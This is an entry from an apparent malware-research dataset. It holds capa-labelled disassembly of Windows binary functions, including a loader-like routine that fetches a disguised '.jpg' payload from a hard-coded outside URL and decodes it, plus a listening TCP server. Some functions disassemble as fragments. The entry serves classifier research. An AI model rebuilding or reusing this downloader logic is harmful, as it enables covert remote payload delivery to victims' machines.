joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400140b0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14001b010
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14001b010
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x140014d82
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140032208]
test eax, eax
je 0x140014e1a
lea rax, [0x1400321e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140032210]
mov qword [rbp - 8], rax
jmp 0x140014dfe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140014df2
cmp qword [rbp - 0x10], 0
je 0x140014df2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140014db8
lea rax, [0x1400321e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140014e1b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140014f20
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140014f48
mov eax, 0
jmp 0x140014f96
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140014f71
mov eax, 0
jmp 0x140014f96
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140014f91
mov eax, 0
jmp 0x140014f96
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140014f9c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14001501a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140015011
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140015011
mov rax, qword [rbp - 8]
jmp 0x14001502f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140014fe4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001050
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rdx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x140001098
mov ecx, eax
call fcn.14003c4e0
nop
add rsp, 0x88
ret
Function at 0x14000d6b0
Capabilities:
Terminate process

Disassembly:
call rdi
mov eax, dword [0x140106b84]
mov r8d, dword [rbx + 0xc]
mov ecx, dword [0x140106b84]
str word [rbx + rax - 0x40]

Function at 0x14000d6c0
Capabilities:
Terminate process

Disassembly:
str word [rbx + rax - 0x40]
add r8, rbx
add rcx, rbx
call r8
Function at 0x1400180f0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rdx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x140018138
mov ecx, eax
call fcn.14003c4e0
nop
add rsp, 0x88
ret
Function at 0x140024a10
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, qword [str.KERNEL32.dll]
mov rsi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rsi
mov rcx, qword [str.shlwapi.dll]
mov rbp, rax
call rsi
mov rdx, qword [str.PathFindFileNameW]
mov rcx, rax
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rbx
mov edx, dword [0x140106b38]
mov ecx, 0x40
mov qword [rsp + 0x38], 0
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor ecx, ecx
mov r8d, 0x104
mov rdi, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rdi
call r12
mov r9, qword [str._y_f_]
mov rdi, rax
cmp dword [r9], 0
je 0x140024acb
mov rcx, rax
call fcn.1400249e7
cmp byte [r9], al
je 0x140024ab3
cmp byte [r9 + 1], al
jne 0x140024bc9
mov rcx, rdi
call fcn.1400249f7
cmp dword [r9 + 4], eax
je 0x140024acb
cmp dword [r9 + 8], eax
jne 0x140024bc9
mov rcx, qword [str.PT_r_]
call rsi
mov rdx, qword [str.InternetOpenA]
mov rsi, rax
mov rcx, rax
call rbx
mov rdx, qword [str.InternetOpenUrlA]
mov rcx, rsi
mov r14, rax
call rbx
mov rdx, qword [str.InternetReadFile]
mov rcx, rsi
mov r13, rax
call rbx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x34], 0
mov r12, rax
mov rcx, qword [str.juryrig]
mov edx, 1
mov dword [rsp + 0x20], 0
call r14
test rax, rax
je 0x140024bc9
mov ecx, dword [0x140106bbc]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x28], 0
mov rdx, qword [str.https:__www.reveltronics.com_images_slider_home_slider3_egt.jpg]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r13
test rax, rax
je 0x140024bc9
mov r8d, dword [0x140106b38]
lea rsi, [rdi + 0x20a]
mov rcx, rax
lea r9, [rsp + 0x34]
mov rdx, rsi
call r12
test eax, eax
je 0x140024bc9
mov edx, dword [rsp + 0x34]
test edx, edx
je 0x140024bc9
mov r8d, dword [rdi + 0x20a]
add rdx, rsi
xor eax, eax
mov rcx, qword [str.__f_]
mov edi, dword [rcx + rax]
add edi, r8d
mov dword [rdx + rax], edi
add rax, 4
cmp rax, 0x20
jne 0x140024b91
mov rcx, rbp
call rbx
test rax, rax
je 0x140024bc9
mov rdx, qword [0x140106bd0]
invalid
invalid
invalid
invalid
Function at 0x1400306c0
Capabilities:
Encode data using add xor sub operations
Encode data using xor
Encrypt data using des

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov r9d, dword [rcx]
mov r8d, dword [rcx + 4]
mov rbx, rcx
mov eax, r9d
mov rdi, rdx
mov esi, 8
shr eax, 4
lea rbp, [0x140000000]
xor eax, r8d
and eax, 0xf0f0f0f
xor r8d, eax
shl eax, 4
xor r9d, eax
mov eax, r9d
shr eax, 0x10
xor eax, r8d
movzx ecx, ax
xor r8d, ecx
shl ecx, 0x10
xor r9d, ecx
mov eax, r8d
shr eax, 2
xor eax, r9d
and eax, 0x33333333
xor r9d, eax
shl eax, 2
xor r8d, eax
mov r10d, r8d
shr r10d, 8
xor r10d, r9d
and r10d, 0xff00ff
xor r9d, r10d
shl r10d, 8
xor r10d, r8d
rol r10d, 1
mov r11d, r10d
xor r11d, r9d
and r11d, 0xaaaaaaaa
xor r10d, r11d
xor r11d, r9d
rol r11d, 1
nop word [rax + rax]
mov eax, r10d
add rdi, 0x10
ror eax, 4
xor eax, dword [rdi - 0x10]
mov edx, eax
mov ecx, eax
shr rax, 0x10
and eax, 0x3f
shr rcx, 0x18
and ecx, 0x3f
mov r9d, dword [rbp + rcx*4 + 0x106ae0]
or r9d, dword [rbp + rax*4 + 0x106ce0]
mov rax, rdx
and edx, 0x3f
shr rax, 8
and eax, 0x3f
or r9d, dword [rbp + rax*4 + 0x106ee0]
mov eax, dword [rdi - 0xc]
or r9d, dword [rbp + rdx*4 + 0x1070e0]
xor eax, r10d
mov r8d, eax
mov ecx, eax
shr rax, 0x10
and eax, 0x3f
shr rcx, 0x18
and ecx, 0x3f
mov edx, dword [rbp + rcx*4 + 0x106be0]
or edx, dword [rbp + rax*4 + 0x106de0]
mov rax, r8
and r8d, 0x3f
shr rax, 8
and eax, 0x3f
or edx, dword [rbp + rax*4 + 0x106fe0]
or edx, dword [rbp + r8*4 + 0x1071e0]
or edx, r9d
xor r11d, edx
mov eax, r11d
ror eax, 4
xor eax, dword [rdi - 8]
mov edx, eax
mov ecx, eax
shr rax, 0x10
and eax, 0x3f
shr rcx, 0x18
and ecx, 0x3f
mov r9d, dword [rbp + rcx*4 + 0x106ae0]
or r9d, dword [rbp + rax*4 + 0x106ce0]
mov rax, rdx
and edx, 0x3f
shr rax, 8
and eax, 0x3f
or r9d, dword [rbp + rax*4 + 0x106ee0]
mov eax, dword [rdi - 4]
or r9d, dword [rbp + rdx*4 + 0x1070e0]
xor eax, r11d
mov r8d, eax
mov ecx, eax
shr rax, 0x10
and eax, 0x3f
shr rcx, 0x18
and ecx, 0x3f
mov edx, dword [rbp + rcx*4 + 0x106be0]
or edx, dword [rbp + rax*4 + 0x106de0]
mov rax, r8
and r8d, 0x3f
shr rax, 8
and eax, 0x3f
or edx, dword [rbp + rax*4 + 0x106fe0]
or edx, dword [rbp + r8*4 + 0x1071e0]
or edx, r9d
xor r10d, edx
sub rsi, 1
jne 0x140030770
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ror r10d, 1
mov edx, r10d
xor edx, r11d
and edx, 0xaaaaaaaa
xor r10d, edx
xor edx, r11d
ror edx, 1
mov eax, edx
shr eax, 8
xor eax, r10d
and eax, 0xff00ff
xor r10d, eax
shl eax, 8
xor edx, eax
mov eax, edx
shr eax, 2
xor eax, r10d
and eax, 0x33333333
xor r10d, eax
shl eax, 2
xor edx, eax
mov eax, r10d
shr eax, 0x10
xor eax, edx
movzx ecx, ax
xor edx, ecx
shl ecx, 0x10
xor r10d, ecx
mov ecx, r10d
shr ecx, 4
xor ecx, edx
and ecx, 0xf0f0f0f
mov eax, ecx
xor ecx, edx
shl eax, 4
xor eax, r10d
mov dword [rbx], eax
mov dword [rbx + 4], ecx
mov rbx, qword [rsp + 8]
ret
Function at 0x140030970
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rsi
movzx edi, r8w
mov rsi, rcx
lea rax, vtable.Thread.0
mov qword [rcx], rax
mov byte [rcx + 0x14], 0
mov byte [rcx + 0x15], 0
lea rax, [rcx + 0x10]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
mov r9, rcx
lea r8, [0x140039100]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsi + 8], rax
lea rax, vtable.TcpServer.0
mov qword [rsi], rax
lea rcx, [rsi + 0x18]
call fcn.140030db0
nop
lea rcx, [rsi + 0x80]
lea rdx, str.0.0.0.0
call fcn.14002e1a0
nop
mov word [rsi + 0xb8], di
movzx r8d, di
lea rdx, str.0.0.0.0
lea rcx, [rsp + 0x38]
call fcn.140031d60
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsi + 0x18]
call fcn.140031240
mov edx, 0xa
mov rcx, qword [rsi + 0x58]
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x140030a3b
call fcn.140031420
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne al
mov byte [rsi + 0x14], al
lea rax, vtable.WsaStartup.0
mov qword [rsp + 0x38], rax
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rax, rsi
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret

Function at 0x140030bb0
Capabilities:
Resume thread

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne al
mov byte [rbx + 0x14], al
add rsp, 0x20
pop rbx
ret

Function at 0x140030c20
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x228
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov rax, qword [0x1401043b8]
xor rax, rsp
mov qword [rsp + 0x210], rax
cmp byte [0x14010abf4], 0
je 0x140030c89
lea rax, vtable.Exception.0
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x28]
call fcn.14002e130
nop
lea rdx, str.WindowsSocket_already_initialized.
lea rcx, [rsp + 0x28]
mov rax, qword [rsp + 0x28]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rdx, [0x140101ad0]
lea rcx, [rsp + 0x20]
call fcn.14007c4b0
int3
mov ecx, 0x102
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140030cdb
lea rax, vtable.Exception.0
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x28]
call fcn.14002e130
nop
lea rdx, str.Failed_to_initialize_WindowsSocket.
lea rcx, [rsp + 0x28]
mov rax, qword [rsp + 0x28]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rdx, [0x140101ad0]
lea rcx, [rsp + 0x20]
call fcn.14007c4b0
int3
mov byte [0x14010abf4], 1
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.140078e40
add rsp, 0x228
ret
Function at 0x140030db0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push rbx
sub rsp, 0x8b0
mov qword [rsp + 0x90], 0xfffffffffffffffe
mov rax, qword [0x1401043b8]
xor rax, rsp
mov qword [rsp + 0x8a0], rax
mov rbx, rcx
mov qword [rsp + 0x40], rcx
lea rax, vtable.SocketIPv4.0
mov qword [rcx], rax
add rcx, 8
mov r8b, 2
mov dl, 1
call fcn.140040770
nop
lea rax, vtable.LocalMutex.0
mov qword [rbx + 0x10], rax
lea rcx, [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
nop
mov qword [rbx + 0x50], 0
mov qword [rbx + 0x58], 0
mov byte [rbx + 0x60], 0
mov edx, 1
lea ecx, [rdx + 1]
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx + 0x40], rax
mov byte [rbx + 0x48], 0
cmp rax, 0xffffffffffffffff
jne 0x140030ee7
lea rax, vtable.Exception.0
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x50]
call fcn.14002e130
nop
lea rdx, [0x1400d1b20]
lea rcx, [rsp + 0x50]
mov rax, qword [rsp + 0x50]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rax, vtable.SocketException.0
mov qword [rsp + 0x48], rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x88], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x800
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1200
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x50]
mov rax, qword [rsp + 0x50]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rdx, [0x140101ce8]
lea rcx, [rsp + 0x48]
call fcn.14007c4b0
nop
mov rax, rbx
mov rcx, qword [rsp + 0x8a0]
xor rcx, rsp
call fcn.140078e40
add rsp, 0x8b0
pop rbx
ret
Function at 0x140031060
Capabilities:
Connect socket

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x8e0
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1401043b8]
xor rax, rsp
mov qword [rsp + 0x8d0], rax
mov rbx, rdx
mov rdi, rcx
mov eax, 2
mov word [rsp + 0xc0], ax
mov ecx, dword [rdx + 0xc]
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rsp + 0xc4], eax
movzx ecx, word [rbx + 8]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0xc2], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0xc0]
mov rcx, qword [rdi + 0x40]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140031183
lea rax, vtable.Exception.0
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x78]
call fcn.14002e130
nop
lea rdx, [0x1400d1b20]
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x78]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rax, vtable.SocketException.0
mov qword [rsp + 0x70], rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0xb0], eax
xor ecx, ecx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x800
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1200
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x78]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rdx, [0x140101ce8]
lea rcx, [rsp + 0x70]
call fcn.14007c4b0
int3
lea rax, vtable.AutoLock.0
mov qword [rsp + 0x40], rax
lea rbx, [rdi + 0x10]
mov qword [rsp + 0x48], rbx
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rsi, qword [rdi + 0x58]
test rsi, rsi
je 0x1400311c3
lea rax, vtable.WsaStartup.0
mov qword [rsi], rax
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, rsi
call fcn.140078e60
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400797fc
mov qword [rsp + 0xb8], rax
test rax, rax
je 0x1400311fa
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.140031c20
mov rcx, rax
jmp 0x1400311fc
xor ecx, ecx
mov qword [rdi + 0x58], rcx
mov byte [rdi + 0x60], 0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x8d0]
xor rcx, rsp
call fcn.140078e40
lea r11, [rsp + 0x8e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1400314f0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r11, rsp
push r12
sub rsp, 0xd0
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
mov rax, qword [0x1401043b8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
lea rdx, [r11 - 0x38]
call fcn.140031650
mov r12, rax
mov qword [rsp + 0x30], rax
mov ecx, 0x68
call fcn.1400797fc
mov qword [rsp + 0x28], rax
test rax, rax
je 0x140031557
mov rcx, rax
call fcn.140030db0
mov rbx, rax
xor edi, edi
jmp 0x14003155c
xor edi, edi
mov rbx, rdi
mov byte [rbx + 0x48], 1
lea rax, vtable.AutoLock.0
mov qword [rsp + 0x30], rax
lea rsi, [rbx + 0x10]
mov qword [rsp + 0x38], rsi
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov qword [rbx + 0x40], r12
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400797fc
mov qword [rsp + 0x28], rax
test rax, rax
je 0x1400315b4
movaps xmm0, xmmword [rsp + 0xa0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.140031c20
jmp 0x1400315b7
mov rax, rdi
mov qword [rbx + 0x58], rax
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0xb0]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x140031611
lea ecx, [rax + 0x10]
call fcn.1400797fc
mov qword [rsp + 0x28], rax
test rax, rax
je 0x14003160d
movaps xmm0, xmmword [rsp + 0xb0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.140031c20
mov rdi, rax
mov qword [rbx + 0x50], rdi
mov rdx, qword [rsi]
mov rcx, rsi
call qword [rdx + reloc.WS2_32.dll_recv]
mov rax, rbx
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140078e40
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret
Function at 0x140031a50
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x78
mov qword [rsp + 0x20], 0xfffffffffffffffe
xor r9d, r9d
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x140031ab8
lea rax, vtable.Exception.0
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
call fcn.14002e130
nop
lea rdx, str.Connection_has_been_gracefully_closed
lea rcx, [rsp + 0x30]
mov rax, qword [rsp + 0x30]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rax, vtable.IOException.0
mov qword [rsp + 0x28], rax
lea rdx, [0x140101d48]
lea rcx, [rsp + 0x28]
call fcn.14007c4b0
int3
cmp eax, 0xffffffff
jne 0x140031b07
lea rax, vtable.Exception.0
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
call fcn.14002e130
nop
lea rdx, str.Failed_to_recv_data_from_socket.
lea rcx, [rsp + 0x30]
mov rax, qword [rsp + 0x30]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rax, vtable.IOException.0
mov qword [rsp + 0x28], rax
lea rdx, [0x140101d48]
lea rcx, [rsp + 0x28]
call fcn.14007c4b0
int3
add rsp, 0x78
ret

Function at 0x140031b10
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x8b8
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov rax, qword [0x1401043b8]
xor rax, rsp
mov qword [rsp + 0x8a0], rax
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x40]
mov edx, 6
lea r8d, [rdx - 5]
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x140031c04
lea rax, vtable.Exception.0
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x58]
call fcn.14002e130
nop
lea rdx, [0x1400d1b20]
lea rcx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rax, vtable.SocketException.0
mov qword [rsp + 0x50], rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x90], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x800
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x400
mov r8d, eax
xor edx, edx
mov ecx, 0x1200
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rdx, [0x140101ce8]
lea rcx, [rsp + 0x50]
call fcn.14007c4b0
int3
mov rcx, qword [rsp + 0x8a0]
xor rcx, rsp
call fcn.140078e40
add rsp, 0x8b8
ret
Function at 0x140034170
Capabilities:
Get graphical window text

Disassembly:
mov rax, rsp
push rsi
push rdi
push r12
sub rsp, 0x60
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov rsi, rdx
mov rbp, rcx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0xe]
mov rcx, qword [rcx + 8]
call qword [sym.imp.USER32.dll_SendMessageW]
mov rbx, rax
mov ecx, 8
call fcn.1400797fc
xor r12d, r12d
test rax, rax
je 0x1400341c5
lea rcx, [rsp + 0x28]
mov qword [rax], rcx
jmp 0x1400341c8
mov rax, r12
mov qword [rsp + 0x28], rax
mov word [rsp + 0x80], r12w
lea edi, [rbx + 1]
movsxd rdx, edi
lea r8, [rsp + 0x80]
lea rcx, [rsp + 0x28]
call fcn.14002ef40
nop
mov rbx, qword [rsp + 0x40]
cmp rbx, qword [rsp + 0x48]
jbe 0x140034200
call fcn.1400796a8
mov rax, qword [rsp + 0x28]
test rax, rax
jne 0x140034214
call fcn.1400796a8
mov r11, r12
jmp 0x140034217
mov r11, qword [rax]
cmp rbx, qword [r11 + 0x20]
jb 0x140034222
call fcn.1400796a8
mov r8d, edi
mov rdx, rbx
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rbx, qword [rsp + 0x40]
cmp rbx, qword [rsp + 0x48]
jbe 0x140034243
call fcn.1400796a8
mov rax, qword [rsp + 0x28]
test rax, rax
jne 0x140034257
call fcn.1400796a8
mov r11, r12
jmp 0x14003425a
mov r11, qword [rax]
cmp rbx, qword [r11 + 0x20]
jb 0x140034265
call fcn.1400796a8
mov rax, qword [rsi]
mov rdx, rbx
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140034281
call fcn.140078e60
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r12
mov rcx, qword [rsp + 0x28]
call fcn.140078e60
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret

Function at 0x1400381c0
Capabilities:
Delete directory
Delete file

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.140038270
test al, al
je 0x14003825e
mov rcx, rbx
call fcn.1400383f0
test al, al
je 0x140038231
mov qword [rsp + 0x30], rdi
mov rdi, qword [rbx + 0x20]
cmp rdi, qword [rbx + 0x28]
jbe 0x1400381f6
call fcn.1400796a8
mov r11, qword [rbx + 8]
test r11, r11
jne 0x140038209
call fcn.1400796a8
xor r11d, r11d
jmp 0x14003820c
mov r11, qword [r11]
cmp rdi, qword [r11 + 0x20]
jb 0x140038217
call fcn.1400796a8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov rdi, qword [rsp + 0x30]
test eax, eax
je 0x140038231
mov al, 1
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
call fcn.140038270
test al, al
je 0x14003825e
mov rcx, rbx
call fcn.1400383f0
test al, al
jne 0x14003825e
mov rcx, rbx
call fcn.14002e380
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140038229
xor al, al
add rsp, 0x20
pop rbx
ret